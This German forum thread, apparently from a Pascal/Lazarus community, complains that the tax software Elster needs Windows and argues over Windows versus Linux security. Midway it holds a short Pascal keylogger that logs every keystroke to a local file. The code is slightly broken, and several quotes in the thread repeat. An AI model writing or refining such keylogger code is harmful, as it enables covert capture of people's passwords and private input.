MacWomble hat geschrieben:Elster läuft ganz gut unter Linux, lediglich die PDF-Ausgabe ist etwas hakelig ...
Vermutlich meist Du mit Wine !?!
-Michael
MacWomble hat geschrieben:Elster läuft ganz gut unter Linux, lediglich die PDF-Ausgabe ist etwas hakelig ...
Dass eine Deutsche Behörde damit den Kauf eines Produktes einer Amerikanischen Firma erzwingt, die schon von der EU mit Strafzahlungen belegt worden ist, finde ich ziemlich skandalös.
Timm Thaler hat geschrieben:Nimm halt Windows in einer VW unter Linux" - dann kann ich auch gleich Windows nehmen.
Code: Alles auswählen
program Keylogger;
{$APPTYPE GUI}
uses Classes, SysUtils, windows;
type
TByte256Array = array[0..255] of Byte;
var fs: TFileStream;
Keys, oldKeys = TByte256Array;
begin
FillChar(Keys, SizeOf(Keys), #00);
fs:=TFileStream.Create('./keys.txt', fmcreate);
try
while True do
begin
OldKeys := Keys;
GetKeyboardState(Keys);
for i:=0 to 255 do
if (oldKeys[I] <> Keys[I]) And Boolean(OldKeys[I] and 128) Then
fs.Write(chr(i), 1);
end;
finally
fs.Free;
end;
end.
Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.
Marc hat geschrieben:Wie ich verstanden habe braucht mann das nur um ein paar Daten zu übermitteln?
Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.
pluto hat geschrieben:Dann wäre er auch noch "Unter" Linux lauffähig....
mschnell hat geschrieben:Marc hat geschrieben:Ich kenne schon Gründe für ein Windows. Habe auch (alte) Programme die nur unter Windows laufen.
Die zwingend vorgeschriebene "Elster" Programm des Finanzamts läuft soweit ich weiß (ohne Tricks) nur auf Windows.
Dass eine Deutsche Behörde damit den Kauf eines Produktes einer Amerikanischen Firma erzwingt, die schon von der EU mit Strafzahlungen belegt worden ist, finde ich ziemlich skandalös.
-Michael
Timm Thaler hat geschrieben:... grottig die Verzeichnisstruktur unter Linux ist: Schmeiss halt alles was irgendwie ausführbar ist in /bin oder /usr/bin.
... wegen dieser grottigen Verzeichnisstruktur irgendwie versucht wird das zu umgehen: Gut, es gibt /opt, aber das nimmt kaum jemand. Schmeiss es beim User ins home, dann hast Du keine Probleme mit Rechten.
... sich die Rechte einfach aushebeln lassen: Fragte da nicht letztens jemand, wie er ein Programm mit TProcess starten kann. Und dann ein sudo davor und das Programm läuft mit Adminrechten.
... man zum Verschlüsseln der Userdaten - inzwischen das beliebteste Hobby der Virenprogrammierer - nichtmal Adminrechte braucht, weil ja alles im User-Home passiert.
... grottig die Verzeichnisstruktur unter Linux ist: Schmeiss halt alles was irgendwie ausführbar ist in /bin oder /usr/bin.
... wegen dieser grottigen Verzeichnisstruktur irgendwie versucht wird das zu umgehen: Gut, es gibt /opt, aber das nimmt kaum jemand. Schmeiss es beim User ins home, dann hast Du keine Probleme mit Rechten.
... sich die Rechte einfach aushebeln lassen: Fragte da nicht letztens jemand, wie er ein Programm mit TProcess starten kann. Und dann ein sudo davor und das Programm läuft mit Adminrechten.
... man zum Verschlüsseln der Userdaten - inzwischen das beliebteste Hobby der Virenprogrammierer - nichtmal Adminrechte braucht, weil ja alles im User-Home passiert.
pluto hat geschrieben:Und für so was nötigt man Firmen einen Windows Rechner zu betreiben.
Unbedingt. Wie wir ja alle wissen, gilt ja Windows 10 als "EXTREM" sicher. Sogar sicherer als Linux...
Ich finde, es gibt nur eine Sache, die dagegen Spricht: Was wird am meisten Verwendet?
Und warum sollte jemand ein Virus oder so schreiben für etwas was nicht so oft Verwendet wird?
Ich denke das alleine dürfte schon ein Grund sein, wenn Möglich KEIN Windows zu verwenden.
Aber gut für uns: Delphi läuft nur unter Windows....
Schön das beim Virus schreiben nicht Lazarus Verwendet wurde....
Dann wäre er auch noch "Unter" Linux lauffähig....